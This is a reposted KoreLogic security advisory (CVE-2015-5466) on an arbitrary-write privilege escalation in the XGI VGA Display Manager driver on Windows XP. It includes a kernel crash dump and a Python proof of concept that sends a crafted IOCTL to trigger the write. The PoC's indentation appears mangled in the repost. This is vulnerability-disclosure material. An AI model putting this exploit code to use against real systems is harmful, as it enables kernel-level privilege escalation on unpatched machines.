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  Повышение привилегий через менеджер дисплея SiS / XGI

  KL-001-2015-003 : SiS Windows VGA Display Manager Multiple Privilege Escalation

From:disclosures_(at)_korelogic.com <disclosures_(at)_korelogic.com>
Date:25 октября 2015 г.
Subject:KL-001-2015-004 : XGI Windows VGA Display Manager Arbitrary Write Privilege Escalation



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Hash: SHA256

KL-001-2015-004 : XGI Windows VGA Display Manager Arbitrary Write
Privilege Escalation

Title: XGI Windows VGA Display Manager Arbitrary Write Privilege Escalation
Advisory ID: KL-001-2015-004
Publication Date: 2015.09.01
Publication URL:
https://www.korelogic.com/Resources/Advisories/KL-001-2015-004.txt


1. Vulnerability Details

    Affected Vendor: Silicon Integrated Systems Corporation
    Affected Product: XGI VGA Display Manager
    Affected Version: 6.14.10.1090
    Platform: Microsoft Windows XP SP3
    CWE Classification: CWE-123: Write-what-where condition
    Impact: Arbitrary Code Execution
    Attack vector: IOCTL
    CVE-ID: CVE-2015-5466

2. Vulnerability Description

    A vulnerability within the xrvkp module allows an attacker
    to inject memory they control into an arbitrary location they
    define. This vulnerability can be used to overwrite function
    pointers in HalDispatchTable resulting in an elevation of
    privilege.

3. Technical Description

    Windows XP Kernel Version 2600 (Service Pack 3) UP Free x86 compatible
    Product: WinNt, suite: TerminalServer SingleUserTS
    Built by: 2600.xpsp_sp3_qfe.101209-1646
    Machine Name:
    Kernel base = 0x804d7000 PsLoadedModuleList = 0x805540c0


*******************************************************************************
    *
          *
    *                        Bugcheck Analysis
          *
    *
          *

*******************************************************************************

    Use !analyze -v to get detailed debugging information.
    BugCheck 50, {ffff0000, 1, 804f3b76, 0}
    Probably caused by : xrvkp.sys ( xrvkp+6ec )
    Followup: MachineOwner
    ---------

    kd> kn
    Call stack:  # ChildEBP RetAddr
    00 f63fd9a0 8051cc7f nt!KeBugCheckEx+0x1b
    01 f63fda00 805405d4 nt!MmAccessFault+0x8e7
    02 f63fda00 804f3b76 nt!KiTrap0E+0xcc
    03 f63fdad0 804fdaf1 nt!IopCompleteRequest+0x92
    04 f63fdb20 806d3c35 nt!KiDeliverApc+0xb3
    05 f63fdb20 806d3861 hal!HalpApcInterrupt+0xc5
    06 f63fdba8 804fab03 hal!KeReleaseInStackQueuedSpinLock+0x11
    07 f63fdbc8 804f07e4 nt!KeInsertQueueApc+0x4b
    08 f63fdbfc f7b136ec nt!IopfCompleteRequest+0x1d8
    09 f63fdc34 804ee129 xrvkp+0x6ec
    0a f63fdc44 80574e56 nt!IopfCallDriver+0x31
    0b f63fdc58 80575d11 nt!IopSynchronousServiceTail+0x70
    0c f63fdd00 8056e57c nt!IopXxxControlFile+0x5e7
    0d f63fdd34 8053d6d8 nt!NtDeviceIoControlFile+0x2a
    0e f63fdd34 7c90e514 nt!KiFastCallEntry+0xf8
    0f 0021f3e4 7c90d28a ntdll!KiFastSystemCallRet
    10 0021f3e8 1d1add7a ntdll!ZwDeviceIoControlFile+0xc
    11 0021f41c 1d1aca96 _ctypes!DllCanUnloadNow+0x5b4a
    12 0021f44c 1d1a8db8 _ctypes!DllCanUnloadNow+0x4866
    13 0021f4fc 1d1a959e _ctypes!DllCanUnloadNow+0xb88
    14 0021f668 1d1a54d8 _ctypes!DllCanUnloadNow+0x136e
    15 0021f6c0 1e07bd9c _ctypes+0x54d8
    16 00000000 00000000 python27!PyObject_Call+0x4c


4. Mitigation and Remediation Recommendation

    No response from vendor; no remediation available.

5. Credit

    This vulnerability was discovered by Matt Bergin of KoreLogic
    Security, Inc.

6. Disclosure Timeline

    2015.05.14 - Initial contact; requested security contact.
    2015.05.18 - Second contact attempt.
    2015.05.25 - Third contact attempt.
    2015.07.02 - KoreLogic requests CVE from Mitre.
    2015.07.10 - Mitre issues CVE-2015-5466.
    2015.07.28 - 45 business days have elapsed since KoreLogic last
                 attempted to contact SiS without a response.
    2015.09.01 - Public disclosure.

7. Proof of Concept

    from sys import exit
    from ctypes import *
    NtAllocateVirtualMemory = windll.ntdll.NtAllocateVirtualMemory
    WriteProcessMemory = windll.kernel32.WriteProcessMemory
    DeviceIoControl = windll.ntdll.NtDeviceIoControlFile
    CreateFileA = windll.kernel32.CreateFileA
    CloseHandle = windll.kernel32.CloseHandle
    FILE_SHARE_READ,FILE_SHARE_WRITE = 0,1
    OPEN_EXISTING = 3
    NULL = None

    device = "xgikp"
    code = 0x96002404
    inlen = 0xe6b6
    outlen = 0x0
    inbuf = 0x1
    outbuf = 0xffff0000
    inBufMem = "\x90"*inlen

    def main():
     try:
      handle = CreateFileA("\\\\.\\%s" %
(device),FILE_SHARE_WRITE|FILE_SHARE_READ,0,None,OPEN_EXISTING,0,
None)
      if (handle == -1):
      print "[-] error creating handle"
      exit(1)
      except Exception as e:
      print "[-] error creating handle"
      exit(1)

NtAllocateVirtualMemory(-1,byref(c_int(0x1)),0x0,
byref(c_int(0xffff)),0x1000|0x2000,0x40)
      WriteProcessMemory(-1,0x1,inBufMem,inlen,
byref(c_int(0)))

DeviceIoControl(handle,NULL,NULL,NULL,byref(c_ulong(8)),code,
0x1,inlen,outbuf,outlen)
      CloseHandle(handle)
      return False

    if __name__=="__main__":
     main()


The contents of this advisory are copyright(c) 2015
KoreLogic, Inc. and are licensed under a Creative Commons
Attribution Share-Alike 4.0 (United States) License:
http://creativecommons.org/licenses/by-sa/4.0/

KoreLogic, Inc. is a founder-owned and operated company with a
proven track record of providing security services to entities
ranging from Fortune 500 to small and mid-sized companies. We
are a highly skilled team of senior security consultants doing
by-hand security assessments for the most important networks in
the U.S. and around the world. We are also developers of various
tools and resources aimed at helping the security community.
https://www.korelogic.com/about-korelogic.html

Our public vulnerability disclosure policy is available at:
https://www.korelogic.com/KoreLogic-Public-Vulnerability-Disclosure-Policy.v1.0.
txt
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